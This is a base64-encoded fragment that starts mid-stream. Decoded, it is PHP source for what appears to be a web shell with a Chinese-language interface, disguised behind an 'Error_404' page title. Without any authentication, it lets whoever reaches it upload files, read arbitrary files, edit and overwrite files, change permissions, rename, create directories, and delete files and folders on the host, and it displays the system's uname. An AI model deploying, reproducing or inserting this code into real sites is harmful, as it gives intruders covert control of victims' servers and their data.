SBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg